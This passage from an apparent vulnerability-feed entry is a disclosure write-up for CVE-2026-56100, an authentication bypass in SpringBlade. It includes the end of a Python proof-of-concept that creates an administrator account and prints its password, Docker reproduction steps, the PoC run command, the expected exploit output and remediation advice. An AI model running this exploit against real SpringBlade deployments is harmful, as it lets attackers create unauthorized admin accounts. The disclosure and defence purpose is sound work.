parsed.get(\"data\") is True\n        or parsed.get(\"success\") is True\n        or parsed.get(\"code\") == 200\n    )\n    if not success:\n        print(\"[!] administrator creation did not succeed\", file=sys.stderr)\n        return 1\n\n    print(f\"account={args.account}\")\n    print(f\"password={plaintext_password}\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n&amp;gt; Note: For **2.7.3 ~ 4.1.0** (prefix `/blade-user`, see \u00a72.2), set `POC_PATH_PREFIX=/blade-user` in Script 1 and choose the key per \u00a76.4 (`\"Blade\"` for 2.7.3, the long hardcoded string for 2.8.0 ~ v3.5.0); for Script 2, change `--path` to `/api/blade-user/user/save-user`. Database table name, database name, and container name must match the actual environment.\n\n---\n\n## 9. Environment Setup (From Scratch to Reproduction)\n\nBelow is a minimal \"one-click reproduction of CVE-2026-56100\" environment (Docker), using SpringBlade's own deployment files. **Tested fixes applied** to several commands that would not run as originally written (required nacos 3.x parameters, MySQL 8 public-key retrieval, SQL-file differences, variable-name typos).\n\n### 9.1 Source Code\n\n```bash\ngit clone https://github.com/chillzhuang/SpringBlade.git   # or gitee: https://gitee.com/smallc/SpringBlade.git\ngit checkout v4.10.0        # affected version (2.7.3 / v3.0.0 / v3.1.0 etc. also work, see \u00a72)\n```\n\n### 9.2 Build\n\n- **v4.x (JDK 17 / Maven 3.9)**: build `blade-gateway` and `blade-service/blade-system`; for 2.7.3 ~ 4.1.0 the second module is `blade-service/blade-user`.\n- **2.7.3 ~ v3.5.0 (JDK 8 / Maven 3.6)**.\n\n```bash\n# v4.x\nmvn -pl blade-gateway,blade-service/blade-system -am -DskipTests -Dflatten.skip=true package\n# 2.7.3 ~ 4.1.0\nmvn -pl blade-gateway,blade-service/blade-user -am -DskipTests -Dflatten.skip=true package\n# Output: blade-gateway/target/blade-gateway.jar, blade-service/blade-system(or blade-user)/target/*.jar\n```\n\n&amp;gt; Containerized build example (with dependency-cache mount):\n&amp;gt; ```bash\n&amp;gt; docker run --rm -v \"$PWD:/src\" -v \"$HOME/.m2:/root/.m2\" -w /src maven:3.9-eclipse-temurin-17 \\\n&amp;gt;   mvn -pl blade-gateway,blade-service/blade-system -am -DskipTests -Dflatten.skip=true package\n&amp;gt; ```\n\n### 9.3 Middleware (Docker)\n\nThree tested corrections: \u2460 nacos 3.x mandates a **\u226532-byte base64** `NACOS_AUTH_TOKEN` plus `NACOS_AUTH_IDENTITY_KEY/VALUE` (the example `'token'` is too short and fails to start); \u2461 `blade.mysql.all.create.sql` **exists only in v4.x**\u2014for 2.7.x / v3.x the corresponding schema script is `doc/sql/blade/blade-saber-mysql.sql`; \u2462 ports can be adjusted as needed\u2014full working commands below.\n\n```bash\n# MySQL (use blade.mysql.all.create.sql for v4.x; mount blade-saber-mysql.sql for v3.x/2.x)\ndocker run -d --name sb-mysql -e MYSQL_ROOT_PASSWORD=root -e MYSQL_DATABASE=blade \\\n  -p 3307:3306 -v \"$PWD/doc/sql/blade/blade.mysql.all.create.sql:/docker-entrypoint-initdb.d/01.sql:ro\" mysql:8.0\n# Redis\ndocker run -d --name sb-redis -p 6380:6379 redis:7\n# Nacos (standalone; base64 -w0 avoids line wrapping in the token; nacos client 1.4.x ~ 2.x verified compatible with the 3.1.0 server)\nNACOS_TOKEN=$(printf %s 'SecretKey012345678901234567890123456789012345678901234567890123456789' | base64 -w0)\ndocker run -d --name sb-nacos -p 8848:8848 -p 9848:9848 -p 9849:9849 \\\n  -e MODE=standalone -e NACOS_AUTH_ENABLE=false \\\n  -e NACOS_AUTH_TOKEN=\"$NACOS_TOKEN\" \\\n  -e NACOS_AUTH_IDENTITY_KEY=serverIdentity -e NACOS_AUTH_IDENTITY_VALUE=security \\\n  nacos/nacos-server:v3.1.0\n```\n\n### 9.4 Start the Services\n\n```bash\nSIGN_KEY='springblade-vuln-sign-key-20260528-32chars'   # required explicitly for v3.6.0 ~ v4.10.0 (\u226532 chars)\n# User service (blade-system:8106 from v4.2.0; blade-user for 2.7.3~4.1.0, port configurable, e.g. 8102)\n# Note: SpringBlade's LauncherServiceImpl injects LauncherConstant.nacosAddr(dev)=127.0.0.1:8848 into System\n# properties. If nacos is not on localhost:8848, you MUST override with the CLI arg --spring.cloud.nacos.discovery.server-addr=.\njava -jar blade-service/blade-system/target/blade-system.jar \\\n  --spring.profiles.active=dev --server.port=8106 \\\n  --spring.cloud.nacos.config.enabled=false \\\n  --spring.cloud.nacos.discovery.server-addr=127.0.0.1:8848 \\\n  --blade.datasource.dev.url='jdbc:mysql://127.0.0.1:3307/blade?useSSL=false&amp;amp;allowPublicKeyRetrieval=true&amp;amp;characterEncoding=utf8&amp;amp;serverTimezone=Asia/Shanghai' \\\n  --blade.datasource.dev.username=root --blade.datasource.dev.password=root \\\n  --spring.data.redis.host=127.0.0.1 --spring.data.redis.port=6380\n# Note: for MySQL 8's caching_sha2_password you MUST add allowPublicKeyRetrieval=true (without it the service crashes on startup)\n# For 2.7.3 ~ v3.5.0 use --spring.redis.host/port; from v3.6.0 use --spring.data.redis.host/port\n\n# blade-gateway (port 18080; locator is enabled by default in bootstrap.yml)\njava -jar blade-gateway/target/blade-gateway.jar \\\n  --spring.profiles.active=dev --server.port=18080 \\\n  --spring.cloud.nacos.config.enabled=false \\\n  --spring.cloud.nacos.discovery.server-addr=127.0.0.1:8848 \\\n  --blade.token.sign-key=\"$SIGN_KEY\"\n# Gateways for 2.7.3 ~ v3.5.0 do NOT need --blade.token.sign-key (key is hardcoded, see \u00a76.4)\n```\n\n&amp;gt; In WSL2/container environments, replace `java -jar` with `docker run -d --network host -v :/app/app.jar eclipse-temurin:8-jre(or :17-jre) java -jar /app/app.jar `.\n\n### 9.5 Run the PoC and Verify\n\n```bash\nPOC_GATEWAY_URL=http://127.0.0.1:18080 POC_PATH_PREFIX=/blade-system \\\nPOC_SIGN_KEY=\"$SIGN_KEY\" POC_MYSQL_CONTAINER=sb-mysql \\\npython3 poc/src/springblade_service_auth_bypass_poc.py\n# For 2.7.3 ~ 4.1.0 change to POC_PATH_PREFIX=/blade-user, key per \u00a76.4 ('Blade' for 2.7.3)\n```\n\nExpected key output (matches the verified v4.10.0 run):\n```text\n[*] No-token control status: 401 {\"msg\":\"\u7f3a\u5931\u4ee4\u724c,\u9274\u6743\u5931\u8d25\",...}\n[*] Exploit status: 200 {\"code\":200,\"success\":true,\"data\":true,\"msg\":\"\u64cd\u4f5c\u6210\u529f\"}\n[*] Database row:  000000 poc_ poc-report-plain 1123598816738675201 ... \n[+] Vulnerability reproduced: low-privilege JWT reached save-user and created a user.\n```\n\n&amp;gt; **Control group (fixed v5.0.0, verified statically)**: the `saveUser` endpoint is removed, so the same request returns `404 \u6ca1\u627e\u5230\u8bf7\u6c42`; internal `/feign/...` is intercepted by `InnerFilter` returning `403 \u7981\u6b62\u8bbf\u95ee\u5185\u90e8\u63a5\u53e3`.\n\n---\n\n## 10. Remediation Recommendations\n\n1. **Upgrade to `v5.0.0` or later** (including the latest `v5.0.1` / master).\n2. (If upgrading is not possible) **Do not use a Feign implementation class as an externally reachable `@RestController`**: move internal Feign endpoints to a separate `servlet path` (e.g. `/internal/`) and uniformly intercept `/internal`, `/feign`-style prefixes at the gateway layer.\n3. For internal user-creation endpoints, **enforce service-to-service authentication** (internal-call tokens / mTLS / source-IP whitelist) and add strict `@PreAuth` checks.\n4. **Consolidate business flows**: even for service-to-service calls, do not directly `service.save` an externally controllable entity; uniformly reuse the business entry that has tenant binding, password encryption, and uniqueness checks (e.g. `userService.submit`).\n5. In production, **disable discovery locator** and switch to explicit route whitelists, configuring per-route authentication policies.\n6. Apply a **field whitelist** to the `User` creation endpoint, forbidding ordinary requests from controlling high-risk fields such as `tenantId`, `roleId`, `deptId`, `postId`.\n\n### Common Mitigation Misconceptions (Seemingly Fixed but Still Bypassable)\n\n- **Assuming `@Hidden` hides the endpoint**: `@Hidden` only affects springdoc-openapi documentation generation; once a Spring MVC route is registered it cannot be revoked (see \u00a76.3)\u2014hidden does not mean unreachable.\n- **Assuming adding `@RestController` provides authentication**: the path inherits from the `IUserClient` Feign interface, and **the Feign interface itself performs no permission checks**; if a user only adds `@PreAuth` inside that controller but forgets gateway identity verification, the same endpoint is still bypassed.\n- **Only intercepting `RequestFilter`**: some deployments assume removing `RequestFilter` makes them safe\u2014that's wrong; the discovery locator's default `RewritePath` still strips the service name (see \u00a72.1/\u00a75). The fix must **also disable the locator** or **add an internal-endpoint blacklist at the gateway**.\n- **Relying on gateway token validation (passing as long as `parseJWT` works)**: verifying the signature without verifying semantics (tenant/role/user correspondence) amounts to \"trust anything carrying a valid JWT\"\u2014which is exactly the core of this vulnerability.\n\n---\n\n## 11. References\n\n- Official repository: Gitee `https://gitee.com/smallc/SpringBlade`; GitHub mirror `https://github.com/chillzhuang/SpringBlade`\n- Affected versions: **2.7.3 &amp;lt; v5.0.0 (all versions before the fix)**; the last affected tag in the repository is `v4.10.0` (`3002202ed38ca0eed0bbf1f69d33fd056ef6b515`, 2026-05-10; 2.7.3 commit `503c853`, 2020-09-14)\n- Fix introduced in: `v5.0.0` (tag `c69b9547c942c697da2f3ee6a9265b6004abd645`, 2026-07-30)\n- CVE: **CVE-2026-56100**\n- Official developer manual: `https://gitee.com/smallc/SpringBlade/wikis/SpringBlade\u5f00\u53d1\u624b\u518c`\n\n---\n\n*This document is for security research / vulnerability disclosure. Do not use it against real targets or projects without authorization. Apply mitigations to affected systems before the fix.*\n\n**Disclosure Information**:\n- Severity rating: High (CVSS 8.1)\n- CVE-2026-56100 assigned\n- Affects 2.7.3 through all versions before v5.0.0 (2020-09-14 ~ 2026-05-10, v4.10.0 being the last affected tag); fixed in v5.0.0\n", "creation_timestamp": "2026-08-28T08:28:59.899850Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/bb30f1dc-59cf-4d79-a785-f82a431a58e8/export</guid>
      <pubDate>Fri, 28 Aug 2026 08:28:59 +0000</pubDate>
    </item>
  </channel>
</rss>
